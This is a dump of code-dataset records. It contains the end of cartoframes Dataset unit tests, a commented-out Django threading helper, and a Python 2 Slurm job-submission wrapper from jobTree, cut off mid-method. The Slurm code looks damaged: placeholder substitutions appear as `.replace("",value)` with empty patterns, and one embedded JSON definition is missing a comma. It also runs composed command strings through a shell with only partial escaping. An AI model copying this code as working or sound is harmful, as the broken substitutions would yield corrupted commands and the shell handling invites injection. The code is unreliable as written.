table_name = 'fake_table'\n dataset = DatasetMock(table_name, credentials=self.credentials)\n dataset_info = dataset.dataset_info\n self.assertEqual(dataset_info.privacy, Dataset.PRIVATE)\n privacy = Dataset.PUBLIC\n error_msg = str(setting_value_exception('privacy', privacy))\n with self.assertRaises(CartoException, msg=error_msg):\n dataset_info.privacy = privacy\n self.assertEqual(dataset_info.privacy, Dataset.PRIVATE)\n\n def test_dataset_info_from_dataframe(self):\n df = pd.DataFrame.from_dict({'test': [True, [1, 2]]})\n dataset = DatasetMock(df)\n error_msg = ('Your data is not synchronized with CARTO.'\n 'First of all, you should call upload method '\n 'to save your data in CARTO.')\n with self.assertRaises(CartoException, msg=error_msg):\n dataset.dataset_info\n\n def test_dataset_info_from_dataframe_sync(self):\n df = pd.DataFrame.from_dict({'test': [True, [1, 2]]})\n dataset = DatasetMock(df)\n dataset.upload(table_name='fake_table', credentials=self.credentials)\n self.assertEqual(dataset.dataset_info.privacy, Dataset.PRIVATE)\n\n def test_dataset_info_from_query(self):\n query = 'SELECT 1'\n dataset = DatasetMock(query, credentials=self.credentials)\n error_msg = ('We can not extract Dataset info from a QueryDataset. Use a TableDataset '\n '`Dataset(table_name)` to get or modify the info from a CARTO table.')\n with self.assertRaises(ValueError, msg=error_msg):\n dataset.dataset_info\n\n def test_dataset_info_from_query_update(self):\n query = 'SELECT 1'\n dataset = DatasetMock(query, credentials=self.credentials)\n error_msg = ('We can not extract Dataset info from a QueryDataset. Use a TableDataset '\n '`Dataset(table_name)` to get or modify the info from a CARTO table.')\n with self.assertRaises(ValueError, msg=error_msg):\n dataset.update_dataset_info()\n\n\nclass TestDatasetUnit(unittest.TestCase, _UserUrlLoader):\n \"\"\"Unit tests for cartoframes.Dataset\"\"\"\n\n def setUp(self):\n self.username = 'fake_username'\n self.api_key = 'fake_api_key'\n self.credentials = Credentials(username=self.username, api_key=self.api_key)\n self.test_geojson = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"properties\": {},\n \"geometry\": {\n \"type\": \"Point\",\n \"coordinates\": [\n -3.1640625,\n 42.032974332441405\n ]\n }\n }\n ]\n }\n\n self._context_mock = ContextMock()\n # Mock create_context method\n self.original_create_context = context.create_context\n context.create_context = lambda c: self._context_mock\n\n def tearDown(self):\n StrategiesRegistry.instance = None\n context.create_context = self.original_create_context\n\n def assertIsTableDatasetInstance(self, table_name):\n ds = DatasetMock(table_name, credentials=self.credentials)\n error = \"Dataset('{}')._strategy is not an instance of TableDataset\".format(table_name)\n self.assertTrue(isinstance(ds._strategy, TableDataset), msg=error)\n\n def assertIsQueryDatasetInstance(self, query):\n ds = DatasetMock(query, credentials=self.credentials)\n error = \"Dataset('{}')._strategy is not an instance of QueryDataset\".format(query)\n self.assertTrue(isinstance(ds._strategy, QueryDataset), msg=error)\n\n def assertIsDataFrameDatasetInstance(self, data):\n ds = DatasetMock(data)\n error = \"Dataset('{}')._strategy is not an instance of DataFrameDataset\".format(data)\n self.assertTrue(isinstance(ds._strategy, DataFrameDataset), msg=error)\n\n def test_creation_from_valid_table_names(self):\n table_names = ['myt', 'my_t', 'tgeojson', 't_geojson', 'geojson', 'json', 'select_t']\n for table_name in table_names:\n self.assertIsTableDatasetInstance(table_name)\n\n def test_creation_from_valid_queries(self):\n queries = ['SELECT * FROM', 'select * from', 'select c', 'with n as', 'WITH n AS', 'select * from json',\n 'select * from geojson']\n for query in queries:\n self.assertIsQueryDatasetInstance(query)\n\n def test_creation_from_valid_dataframe(self):\n df = pd.DataFrame.from_dict({'test': [True, [1, 2]]})\n self.assertIsDataFrameDatasetInstance(df)\n\n @unittest.skipIf(not HAS_GEOPANDAS, 'no geopandas imported, skipping this test')\n def test_creation_from_valid_geodataframe(self):\n df = pd.DataFrame.from_dict({'test': [True, [1, 2]]})\n gdf = geopandas.GeoDataFrame(df)\n self.assertIsDataFrameDatasetInstance(gdf)\n\n def test_creation_from_valid_localgeojson(self):\n self.assertIsDataFrameDatasetInstance(self.test_geojson)\n\n def test_creation_from_invalid_localgeojson(self):\n geojson = object\n with self.assertRaises(ValueError, msg='We can not detect the Dataset type'):\n self.assertIsDataFrameDatasetInstance(geojson)\n\n def test_creation_from_valid_geojson_file_path(self):\n paths = [os.path.abspath('test/fixtures/valid.geojson'), os.path.abspath('test/fixtures/validgeo.json')]\n for path in paths:\n self.assertIsDataFrameDatasetInstance(path)\n\n def test_creation_from_wrong_geojson_file_path(self):\n geojson_file_path = os.path.abspath('test/fixtures/wrong.geojson')\n with self.assertRaises(Exception):\n self.assertIsDataFrameDatasetInstance(geojson_file_path)\n\n def test_creation_from_unexisting_geojson_file_path(self):\n geojson_file_path = os.path.abspath('unexisting.geojson')\n with self.assertRaises(ValueError, msg='We can not detect the Dataset type'):\n self.assertIsDataFrameDatasetInstance(geojson_file_path)\n\n def test_dataset_from_table(self):\n table_name = 'fake_table'\n dataset = DatasetMock(table_name, credentials=self.credentials)\n\n self.assertIsInstance(dataset, Dataset)\n self.assertEqual(dataset.table_name, table_name)\n self.assertEqual(dataset.schema, 'public')\n self.assertEqual(dataset.credentials, self.credentials)\n\n def test_dataset_from_query(self):\n query = 'SELECT * FROM fake_table'\n dataset = DatasetMock(query, credentials=self.credentials)\n\n self.assertIsInstance(dataset, Dataset)\n self.assertEqual(dataset.query, query)\n self.assertEqual(dataset.credentials, self.credentials)\n self.assertIsNone(dataset.table_name)\n\n def test_dataset_from_dataframe(self):\n df = load_geojson(self.test_geojson)\n dataset = Dataset(df)\n\n self.assertIsInstance(dataset, Dataset)\n self.assertIsNotNone(dataset.dataframe)\n self.assertIsNone(dataset.table_name)\n self.assertIsNone(dataset.credentials)\n\n def test_dataset_from_geodataframe(self):\n gdf = load_geojson(self.test_geojson)\n dataset = Dataset(gdf)\n\n self.assertIsInstance(dataset, Dataset)\n self.assertIsNotNone(dataset.dataframe)\n self.assertIsNone(dataset.table_name)\n self.assertIsNone(dataset.credentials)\n\n def test_dataset_from_geojson(self):\n geojson = self.test_geojson\n dataset = Dataset(geojson)\n\n self.assertIsInstance(dataset, Dataset)\n self.assertIsNotNone(dataset.dataframe)\n self.assertIsNone(dataset.table_name)\n self.assertIsNone(dataset.credentials)\n\n def test_dataset_get_table_names_from_table(self):\n table_name = 'fake_table'\n dataset = DatasetMock(table_name, credentials=self.credentials)\n self.assertEqual(dataset.get_table_names(), [table_name])\n\n def test_dataset_get_table_names_from_query(self):\n table_name = 'fake_table'\n\n QueryDatasetMock.get_table_names = Mock(return_value=[table_name])\n\n query = 'SELECT * FROM {}'.format(table_name)\n dataset = DatasetMock(query, credentials=self.credentials)\n self.assertEqual(dataset.get_table_names(), [table_name])\n\n def test_dataset_get_table_names_from_dataframe(self):\n df = load_geojson(self.test_geojson)\n dataset = Dataset(df)\n error_msg = ('Your data is not synchronized with CARTO.'\n 'First of all, you should call upload method '\n 'to save your data in CARTO.')\n with self.assertRaises(CartoException, msg=error_msg):\n dataset.get_table_names()\n\n\nclass TestDataFrameDatasetUnit(unittest.TestCase, _UserUrlLoader):\n def test_rows(self):\n df = pd.DataFrame.from_dict({'test': [True, [1, 2]]})\n rows = _rows(df, ['test'], None, '', '')\n\n self.assertEqual(list(rows), [b'True\\n', b'[1, 2]\\n'])\n\n def test_rows_null(self):\n df = pd.DataFrame.from_dict({'test': [None, [None, None]]})\n rows = _rows(df, ['test'], None, '', '')\n\n self.assertEqual(list(rows), [b'\\n', b'\\n'])\n\n def test_rows_with_geom(self):\n df = pd.DataFrame.from_dict({'test': [True, [1, 2]], 'the_geom': [None, None]})\n rows = _rows(df, ['test'], None, '', '')\n\n self.assertEqual(list(rows), [b'True\\n', b'[1, 2]\\n'])\n\n def test_rows_null_geom(self):\n df = pd.DataFrame.from_dict({'test': [None, [None, None]], 'the_geom': [None, None]})\n rows = _rows(df, ['test'], None, '', '')\n\n self.assertEqual(list(rows), [b'\\n', b'\\n'])\n", "source": "CristianPachacama/cartoframes", "license": "BSD-3-Clause"} {"text": "\"\"\"\nCreated 11 Mar. 2020\nAuthor: Jordan Prechac\n\"\"\"\n\nfrom django.db import connection\n\nimport gc\nimport threading\n\n# -----------------------------------------------------------------------------\n\n\n# def perform_async_request(function, *args, **kwargs):\n# \"\"\"\n# Wrapper for performing asyncronous functions\n\n# Will automatically close connections and collect garbage before closing the thread\n# \"\"\"\n# def call_function(function, *args, **kwargs):\n# result = function(*args, **kwargs)\n\n# gc.collect()\n# connection.close()\n\n# args = [function] + [arg for arg in args]\n# thread = threading.Thread(target=call_function, args=args, kwargs=kwargs)\n# thread.setDaemon(True)\n# thread.start()\n\n", "source": "Revibe-Music/core-services", "license": "MIT"} {"text": "\"\"\"\nCreated on Oct 9, 2014\nCopyright (c) 2014\nHarvard FAS Research Computing\nAll rights reserved.\n@author: Aaron Kitzmiller\n\nThis package provides pure Slurm functionality, independent of jobTree.\n\nThe Slurm class is a collection of stateless class methods that perform Slurm\ntasks like submitting and killing jobs. The remaining classes (Command, ParameterDef,\netc.) are some command run and definition code that are used by the Slurm methods.\nThey are far more involved than what is needed here, but we use them in other \ncontexts.\n\"\"\"\nimport re, os\nimport tempfile\nimport json\nimport subprocess\nfrom time import sleep\n\nfrom sonLib.bioio import logger\n\n# sbatch options that don't actually involve submitting a job\nSBATCH_NOSUBMIT_OPTIONS = ['usage','help']\n\n# Maximum number of SBATCH attempts before giving up\n# Interattempt sleeps increment with a fibonacci sequence starting with 5 seconds\n# At 15 attempts, the sleep time is about 1.5 hours\nSBATCH_MAX_ATTEMPTS = 15\n\n# Path for parameter definition files\nDEFAULT_PDEF_PATH=os.path.join(os.path.dirname(__file__),'slurm')\n\ndef getClassFromName(classname):\n \"\"\"\n Utility that will return the class object for a full qualified \n classname\n \"\"\"\n try:\n parts = classname.split('.')\n module = \".\".join(parts[:-1])\n m = __import__( module )\n for comp in parts[1:]:\n m = getattr(m, comp) \n return m\n except ImportError:\n print \"Unable to import %s\" % classname \n\n\n\nclass ParameterDef(object):\n \"\"\"\n Command parameter definition. Validation has been removed for jobTree.\n \"\"\"\n def __init__(self,name=None,required='no',switches=[],pattern=None,description=\"\",validator=\"command.StringValidator\",order=0,default=None):\n if name is None:\n raise Exception(\"ParameterDef must have a name\")\n if pattern is None:\n raise Exception(\"ParameterDef must have a pattern\")\n self.name = name\n self.required = required\n self.switches = switches\n self.pattern = pattern\n self.description = description\n self.order = order\n #validator = getClassFromName(validator)\n #self.validator = validator()\n self.validator = validator\n self.default = default\n \n def isValid(self,value):\n \"\"\"\n Use specified validator object to check value. Returns true for jobTree\n \"\"\"\n #return self.validator.isValid(value)\n return True\n \n\n \nclass Command(object):\n \"\"\"\n Represents a command line. If composed with ParameterDefs, this can be used to\n validate and interrogate arguments. It can also be used with a plain string\n command or an array of command elements.\n \"\"\"\n @classmethod\n def fetch(cls,name,path=DEFAULT_PDEF_PATH,defaults=None,jsonstr=None):\n \"\"\"\n Create a Command object using a JSON definition file.\n defaults is a dict of default values keyed by parameter name. This can be used to override\n a default value set in the command definition file.\n \"\"\"\n if not name.endswith('.json'):\n name = name + '.json'\n pardata = {}\n if jsonstr is not None:\n pardata = json.loads(jsonstr)\n else:\n with open(os.path.join(path,name),'r') as pdeffile:\n pardata = json.load(pdeffile) \n if pardata is None:\n raise Exception(\"No command defined in %s\" % path)\n if \"cmdclass\" not in pardata:\n pardata[\"cmdclass\"] = \"cmd.Command\"\n cls = None\n cls = getClassFromName(pardata[\"cmdclass\"])\n if cls is None:\n raise Exception(\"Unable to fetch command class %s specified by %s\" % (pardata[\"cmdclass\"],name))\n cmd = cls()\n cmd.name = pardata[\"name\"]\n cmd.bin = pardata[\"bin\"]\n cmd.version = pardata[\"version\"]\n cmd.description = pardata[\"description\"]\n \n parameterdefs = []\n for pdef in pardata[\"parameterdefs\"]:\n parameterdefs.append(ParameterDef(**pdef))\n cmd.setParameterDefs(parameterdefs)\n\n if defaults is not None:\n for pname,default in defaults.iteritems():\n cmd.setParameterDefault(pname,default)\n return cmd\n \n def __init__(self,*args,**kwargs):\n \"\"\"\n Initialize the command object. There are multiple modes:\n echo = Command.fetch(\"/definition/of/echo.json\")\n echo.e=True #From definition, using parameter switch\n \n parameters = dict(\"n\": \"1\")\n Command(\"echo\",junkstring,**parameters) # Dict of parameters \n \n Command([\"echo\",\"junk\"]) #An array. Run without shell interpolation \n \n \"\"\"\n \n #### TODO gotta check for the existence of parameter definitions. If there \n #### are definitions, should require keyword args for named parameters\n \n if kwargs is None:\n \"\"\"\n We have an array of items, probably strings\n \"\"\"\n if args is None:\n raise Exception(\"Can't create an empty command\")\n \n if len(args) == 1:\n if isinstance(args[0],basestring):\n \"\"\"\n Probably just a single command string\n \"\"\"\n self.cmdstring = args[0]\n elif isinstance(args[0],list):\n self.cmdarray = args[0]\n else:\n raise Exception(\"Single argument Command should be a string or an array\")\n else:\n \"\"\"\n Treat them as an array if they are all strings\n \"\"\"\n # Make sure they're all strings\n for a in args:\n if not isinstance(a,basestring):\n raise Exception(\"Not sure what you're doing here\")\n self.cmdarray = args\n else:\n \"\"\"\n Some keyword args were passed in\n \"\"\"\n if len(args) > 0:\n \"\"\"\n Put them on the command array\n \"\"\"\n self.cmdarray = args\n \n for k,v in kwargs.iteritems():\n self.setArgValue(k,v)\n \n \n def reset(self):\n \"\"\"\n Resets parameter defs to their defaults.\n \"\"\"\n for key,pdef in self.parameterdefs.iteritems():\n self.setArgValue(key, pdef.default)\n\n \n def composeCmdString(self):\n \"\"\"\n Constructs the command string from the various elements. If the command \n has arguments they are concatenated first, then key-value pairs are added\n \"\"\"\n if hasattr(self,\"cmdstring\"):\n return self.cmdstring\n cmdstring = \"\"\n if hasattr(self,\"cmdarray\") and len(self.cmdarray) > 0:\n cmdstring += \" \".join(self.cmdarray)\n if hasattr(self,\"cmdparametervalues\"):\n if not hasattr(self,\"parameterdefs\"):\n\n #\n for k,v in self.cmdparametervalues.iteritems():\n if not k.startswith(\"-\"):\n if len(k) == 1:\n k = \"-\" + k\n else:\n k = \"--\" + k\n if v == False:\n continue\n if v == True:\n cmdstring += \" %s\" % k\n else:\n cmdstring += \" %s=%s\" % (k,v)\n else:\n # This is the branch for commands defined by parameter defs\n # Tool name should be in the \"bin\" attribute \n if hasattr(self,\"bin\"):\n cmdstring = self.bin\n else:\n raise Exception(\"Specified command must have a 'bin' attribute.\")\n \n # Determines if the argument pattern is an optional one\n optionalargre = re.compile(\"\\?.+?\\?\")\n \n # Determines if the argument pattern has quoting of the \n quotecheckre = re.compile(\"(\\S)(\\S)\") \n \n # Go through the parameter defs in order and \n # for any parameter with a value, substitute the value into the \n # \"pattern\"\n \n # Sort the parameterdef keys based on pdef.order\n sortednames = sorted(self.parameterdefs.iterkeys(),key=lambda name: int(self.parameterdefs[name].order))\n \n for pname in sortednames:\n pdef = self.parameterdefs[pname]\n if pname in self.cmdparametervalues or (hasattr(pdef,'default') and pdef.default is not None):\n \n value = None\n if pname in self.cmdparametervalues:\n value = self.cmdparametervalues[pname]\n elif hasattr(pdef,'default') and pdef.default is not None and pdef.default != \"\":\n value = pdef.default\n else:\n continue\n \n \n if value == False:\n continue\n \n # If is surrounded by something (e.g. single quotes)\n # then we should make sure that char is escaped in the value\n quotestring = None\n match = quotecheckre.search(pdef.pattern)\n if match is not None:\n if len(match.groups()) == 2:\n if match.group(1) == match.group(2):\n quotestring = match.group(1)\n \n # Do some courtesy escaping\n if isinstance(value,basestring) and quotestring is not None:\n # Remove existing escapes\n value = value.replace(\"\\\\\" + quotestring,quotestring)\n # Escape the quote\n value = value.replace(quotestring,\"\\\\\" + quotestring)\n \n \n # Substitute the value into the pattern\n if optionalargre.search(pdef.pattern) is not None:\n \n # This is the case of a switch with an optional argument\n if value == True:\n # Adding the switch with no argument\n cmdstring += \" %s\" % optionalargre.sub(\"\",pdef.pattern)\n else:\n # Remove the question marks and substitute the VALUE\n cmdstring += \" %s\" % pdef.pattern.replace(\"?\",\"\").replace(\"\",value)\n \n else:\n if value == True:\n cmdstring += \" %s\" % pdef.pattern\n else:\n cmdstring += \" %s\" % pdef.pattern.replace(\"\",value)\n \n return cmdstring.encode('ascii','ignore')\n \n \n \n def setArgValue(self,arg,value):\n \"\"\"\n Sets arg value, checking against Parameters if they exist\n \"\"\"\n if not hasattr(self,\"cmdparametervalues\"):\n self.cmdparametervalues = {}\n \n if hasattr(self,\"parameterdefs\"):\n if arg not in self.parameterdefs:\n raise Exception(\"Parameter %s is not valid for this command\" % arg)\n \n self.cmdparametervalues[arg] = value \n\n\n def setParameterDefault(self,key,value):\n \"\"\"\n Sets the default value for the named parameter. Parameter defs must be set.\n \"\"\"\n pdef = self.getParameterDef(key)\n if pdef is None:\n raise Exception(\"Unable to set default for %s; Parameter def cannot be found\")\n self.parameterdefs[key].default = value\n\n \n def getParameterDef(self,key):\n \"\"\"\n Finds a matching parameter def based on name or switch\n \"\"\"\n if key in self.parameterdefs:\n return self.parameterdefs[key]\n else:\n for pdef in self.parameterdefs:\n switches = pdef.switches\n if key in switches:\n return pdef\n return None\n \n \n def setParameterDefs(self,parameterdefs):\n \"\"\"\n Setup name-keyed parameter list\n \"\"\"\n self.parameterdefs = {}\n for pdef in parameterdefs:\n self.parameterdefs[pdef.name] = pdef\n \n \n def isValid(self):\n \"\"\"\n Base class validator just checks parameter validations if \n Parameter array is set\n \"\"\"\n if hasattr(self,\"parameterdefs\"):\n self.validationmsgs = []\n for k,v in self.cmdparametervalues.iteritems():\n msg = self.parameterdefs[k].isValid(v)\n if msg:\n self.validationmsgs.append(msg)\n if len(self.validationmsgs) > 0:\n return False\n else:\n return True\n else:\n return True\n \n def run(self):\n \"\"\"\n Run this command using the command string and Popen. \n A tuple of return code, stdout, and stderr is returned.\n \"\"\" \n p = subprocess.Popen(\n self.composeCmdString(),\n shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE\n )\n stdout, stderr = p.communicate()\n return [p.returncode,stdout.strip(),stderr.strip()]\n \n def __dir__(self):\n keys = self.__dict__.keys()\n if \"parameterdefs\" in self.__dict__:\n keys = list(set(keys + self.parameterdefs.keys()))\n return sorted(keys)\n \n \n def __getattr__(self,name):\n if \"parameterdefs\" in self.__dict__ and name in self.parameterdefs:\n if name in self.cmdparametervalues:\n return self.cmdparametervalues[name]\n else:\n return None\n else:\n return self.__dict__[name]\n \n def __setattr__(self,name,value):\n if \"parameterdefs\" in self.__dict__ and name in self.parameterdefs:\n self.setArgValue(name, value)\n else:\n self.__dict__[name] = value\n \n \n\n\n\n\n\nclass SbatchCommand(Command):\n \"\"\"\n Modifications specific to Sbatch, including script generation\n and setting dependencies\n \"\"\"\n def __init__(self,*args,**kwargs):\n \"\"\"\n Set a script path, so that *.sbatch scripts can be written. Default is cwd.\n \"\"\"\n if \"scriptpath\" in kwargs:\n self.scriptpath = kwargs[\"scriptpath\"]\n del kwargs[\"scriptpath\"]\n else:\n self.scriptpath = \"./\"\n \n super(self.__class__,self).__init__(*args,**kwargs)\n \n def composeCmdString(self):\n # If options like --help or --usage are set, use parent for command processing\n for option in SBATCH_NOSUBMIT_OPTIONS:\n\n if option in self.cmdparametervalues and self.cmdparametervalues[option]:\n return super(self.__class__,self).composeCmdString() \n\n\n cmdstring = \"#!/bin/bash\\n\"\n \n # Determines if the argument pattern is an optional one\n optionalargre = re.compile(\"\\?.+?\\?\")\n \n # Determines if the argument pattern has quoting of the \n quotecheckre = re.compile(\"(\\S)(\\S)\") \n \n # Go through the parameter defs in order and \n # for any parameter with a value, substitute the value into the \n # \"pattern\"\n \n # Sort the parameterdef keys based on pdef.order\n sortednames = sorted(self.parameterdefs.iterkeys(),key=lambda name: int(self.parameterdefs[name].order))\n scriptname = None\n commands = []\n for pname in sortednames:\n pdef = self.parameterdefs[pname]\n if pname in self.cmdparametervalues or (hasattr(pdef,'default') and pdef.default is not None):\n \n value = None\n if pname in self.cmdparametervalues:\n value = self.cmdparametervalues[pname]\n elif hasattr(pdef,'default'):\n value = pdef.default\n else:\n continue\n \n if value == False:\n continue\n \n # Process scriptname\n if pname == \"scriptname\":\n scriptname = value\n continue\n \n # Process command(s)\n if pname == \"command\":\n if isinstance(value,basestring):\n commands.append(value + \"\\n\")\n else:\n if not isinstance(value,list):\n value = [value]\n for command in value:\n if isinstance(command,Command):\n commands.append(\"%s\\n\" % command.composeCmdString())\n elif isinstance(command,basestring):\n commands.append(command + \"\\n\")\n else:\n raise Exception(\"Why are you using %s as an sbatch command?\" % command.__class__.__name__)\n continue\n \n # If is surrounded by something (e.g. single quotes)\n # then we should make sure that char is escaped in the value\n quotestring = None\n match = quotecheckre.search(pdef.pattern)\n if match is not None:\n if len(match.groups()) == 2:\n if match.group(1) == match.group(2):\n quotestring = match.group(1)\n \n # Do some courtesy escaping\n if isinstance(value,basestring) and quotestring is not None:\n # Remove existing escapes\n value = value.replace(\"\\\\\" + quotestring,quotestring)\n # Escape the quote\n value = value.replace(quotestring,\"\\\\\" + quotestring)\n \n \n # Substitute the value into the pattern\n if optionalargre.search(pdef.pattern) is not None:\n \n # This is the case of a switch with an optional argument\n if value == True:\n # Adding the switch with no argument\n cmdstring += \"#SBATCH %s\\n\" % optionalargre.sub(\"\",pdef.pattern)\n else:\n # Remove the question marks and substitute the VALUE\n cmdstring += \"#SBATCH %s\\n\" % pdef.pattern.replace(\"?\",\"\").replace(\"\",value)\n \n else:\n if value == True:\n cmdstring += \"#SBATCH %s\\n\" % pdef.pattern\n else:\n cmdstring += \"#SBATCH %s\\n\" % pdef.pattern.replace(\"\",value)\n \n cmdstring += \"\\n\".join(commands)\n scriptfile = None \n if scriptname is None:\n # Generate a tempfile scriptname\n scriptfile = tempfile.NamedTemporaryFile(mode='w',suffix='.sbatch', dir=self.scriptpath,delete=False)\n scriptname = scriptfile.name\n else:\n if scriptname.startswith(\"/\"):\n scriptfile = open(scriptname,'w')\n else:\n scriptname = os.path.join(self.scriptpath,scriptname)\n scriptfile = open(scriptname,'w')\n scriptfile.write(cmdstring)\n scriptfile.close()\n \n newcmdstring = ' '.join([self.bin,scriptname])\n return newcmdstring.encode('ascii','ignore')\n\n def __str__(self):\n s = \"%s\\n\" % self.composeCmdString()\n for k,v in self.cmdparametervalues.iteritems():\n s += '-- %s : %s\\n' % (k,v)\n \n return s\n\n\nDEFAULT_SLURM_CONF_FILE=\"/etc/slurm/slurm.conf\"\n\nclass Slurm(object):\n \"\"\"\n Encapsulation of Slurmy things. Uses Command objects populated with truncated \n ParameterDefs. Mostly static, stateless methods\n \"\"\"\n conf = None\n \n sbatchstr = \"\"\"\n{\n \"name\" : \"sbatch\",\n \"version\" : \"14.03.8\",\n \"bin\" : \"sbatch\",\n \"description\" : \"sbatch submits a batch script to SLURM.\",\n \"cmdclass\" : \"jobTree.batchSystems.slurm.SbatchCommand\",\n \"parameterdefs\" : [\n {\n \"name\" : \"scriptname\",\n \"description\" : \"Name of the script that will be submitted with sbatch\",\n \"pattern\" : \"\",\n \"required\" : \"yes\",\n \"order\" : \"1000\"\n },\n {\n \"name\" : \"error\",\n \"description\" : \"Instruct SLURM to connect the batch script standard error directly to the file name specified\",\n \"switches\" : [\"--error\",\"-e\"],\n \"pattern\" : \"--error=''\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"job_name\",\n \"description\" : \"Instruct SLURM to connect the batch script standard input directly to the file name specified\",\n \"switches\" : [\"--job-name\",\"-J\"],\n \"pattern\" : \"--job-name=\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"mem\",\n \"description\" : \"Specify the real memory required per node in MegaBytes.\",\n \"switches\" : [\"--mem\"],\n \"pattern\" : \"--mem=\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"mem_per_cpu\",\n \"description\" : \"Mimimum memory required per allocated CPU in MegaBytes.\",\n \"switches\" : [\"--mem-per-cpu\"],\n \"pattern\" : \"--mem-per-cpu=\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"nodes\",\n \"description\" : \"Request that a minimum of nodes be allocated to this job. A maximum node count may also be specified.\",\n \"switches\" : [\"--nodes\",\"-N\"],\n \"pattern\" : \"--nodes=\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"ntasks\",\n \"description\" : \"This option advises the SLURM controller that job steps run within the allocation will launch a maximum of number tasks and to provide for sufficient resources\",\n \"switches\" : [\"--ntasks\",\"-n\"],\n \"pattern\" : \"--ntasks=\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"output\",\n \"description\" : \"Instruct SLURM to connect the batch script's standard output directly to the file name specified.\",\n \"switches\" : [\"--output\",\"-o\"],\n \"pattern\" : \"--output=''\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"partition\",\n \"description\" : \"Open the output and error files using append or truncate mode as specified.\",\n \"switches\" : [\"--partition\",\"-p\"],\n \"pattern\" : \"--partition=\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"qos\",\n \"description\" : \"Request a quality of service for the job. \",\n \"switches\" : [\"--qos\"],\n \"pattern\" : \"--qos=\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"constraint\",\n \"description\" : \"Limit nodes to those with matching constraint values.\",\n \"switches\" : [\"--constraint\",\"-C\"],\n \"pattern\" : \"--constraint=''\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"time\",\n \"description\" : \"Set a limit on the total run time of the job allocation.\",\n \"switches\" : [\"--time\",\"-t\"],\n \"pattern\" : \"--time=\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"tmp\",\n \"description\" : \"Specify a minimum amount of temporary disk space (in MB).\",\n \"switches\" : [\"--tmp\"],\n \"pattern\" : \"--tmp=\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"command\",\n \"description\" : \"Command to be submitted to Slurm cluster\",\n \"switches\" : [\"\"],\n \"pattern\" : \"\",\n \"required\" : \"no\",\n \"order\" : \"1000\"\n }\n\n ]\n}\n \"\"\"\n \n scancelstr = \"\"\"\n{\n \"name\" : \"scancel\",\n \"version\" : \"14.03.8\",\n \"bin\" : \"scancel\",\n \"description\" : \"Used to signal jobs or job steps that are under the control of Slurm\" \n \"cmdclass\" : \"jobTree.batchSystems.slurm.Command\",\n \"parameterdefs\" : [\n {\n \"name\" : \"jobid\",\n \"description\" : \"The Slurm job ID to be signaled.\",\n \"pattern\" : \"\",\n \"required\" : \"yes\",\n \"order\" : \"100\"\n }\n ]\n}\n \"\"\"\n \n sacctcmdstr = \"\"\"\n{\n \"name\" : \"sacct\",\n \"version\" : \"14.03.8\",\n \"bin\" : \"sacct\",\n \"description\" : \"Displays accounting data for all jobs and job steps in the SLURM job accounting log or SLURM database.\",\n \"cmdclass\" : \"jobTree.batchSystems.slurm.Command\",\n \"parameterdefs\" : [\n {\n \"name\" : \"jobs\",\n \"description\" : \"Displays information about the specified job(.step) or list of job(.step)s.\",\n \"switches\" : [\"--jobs\",\"-j\"],\n \"pattern\" : \"--jobs=''\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"noheader\",\n \"description\" : \"No heading will be added to the output. The default action is to display a header.\",\n \"switches\" : [\"--noheader\",\"-n\"],\n \"pattern\" : \"--noheader\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"format\",\n \"description\" : \"Comma separated list of fields.\",\n \"switches\" : [\"--format\",\"-o\"],\n \"pattern\" : \"--format=''\",\n \"required\" : \"no\"\n }\n ]\n}\n \"\"\"\n \n squeuecmdstr = \"\"\"\n{\n \"name\" : \"squeue\",\n \"version\" : \"14.03.8\",\n \"bin\" : \"/usr/local/bin/squeue\",\n \"description\" : \"squeue is used to view job and job step information for jobs managed by SLURM..\",\n \"cmdclass\" : \"jobTree.batchSystems.slurm.Command\",\n \"parameterdefs\" : [\n {\n \"name\" : \"noheader\",\n \"description\" : \"Do not print a header on the output\",\n \"switches\" : [\"--noheader\",\"-h\"],\n \"pattern\" : \"--noheader\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"jobs\",\n \"description\" : \"Requests a comma separated list of job IDs to display. Defaults to all jobs.\",\n \"switches\" : [\"--jobs\",\"-j\"],\n \"pattern\" : \"--jobs=\",\n \"required\" : \"no\"\n },\n {\n \"name\" : \"format\",\n \"description\" : \"Specify the information to be displayed, its size and position (right or left justified). Also see the -O , --Format= option described below (which supports less flexibility in formatting, but supports access to all fields).\",\n \"switches\" : [\"--format\",\"-o\"],\n \"pattern\" : \"--format=''\",\n \"required\" : \"no\"\n }\n ]\n} \n \"\"\"\n \n @classmethod\n def getJobStatus(cls,jobid):\n \"\"\"\n Uses squeue, then sacct to determine job status. Status value is \n returned.\n \"\"\"\n \n squeue = Command.fetch(\"squeue\",jsonstr=Slurm.squeuecmdstr)\n squeue.reset()\n squeue.jobs = jobid\n squeue.noheader = True\n squeue.format = \"%%T\"\n [returncode,stdout,stderr] = squeue.run()\n if stdout is not None and stdout.strip() != \"\":\n logger.info(\"Status of jobid %s is %s\" % (str(jobid),stdout))\n return stdout\n else:\n \"\"\"\n Try sacct if squeue doesn't return anything\n \"\"\"\n sacct = Command.fetch(\"sacct\",jsonstr=Slurm.sacctcmdstr)\n sacct.reset()\n sacct.jobs = \"%s.batch\" % jobid\n sacct.format = \"State\"\n sacct.noheader = True\n [returncode,stdout,stderr] = sacct.run()\n \n # If sacct fails, keep trying with increasing sleep times between\n # attempts.\n attempts = 1\n t1 = t2 = 5\n while returncode != 0 and attempts < SBATCH_MAX_ATTEMPTS:\n sleep(t2)\n [returncode,stdout,stderr] = sacct.run()\n attempts += 1\n t1, t2 = t2, t1 + t2\n\n if returncode != 0:\n raise Exception(\"sacct failed %s\" % sacct.composeCmdString())\n logger.info(\"Status of jobid %s is %s\" % (str(jobid),stdout))\n return stdout\n\n \n @classmethod\n def getConfigValue(cls,key):\n 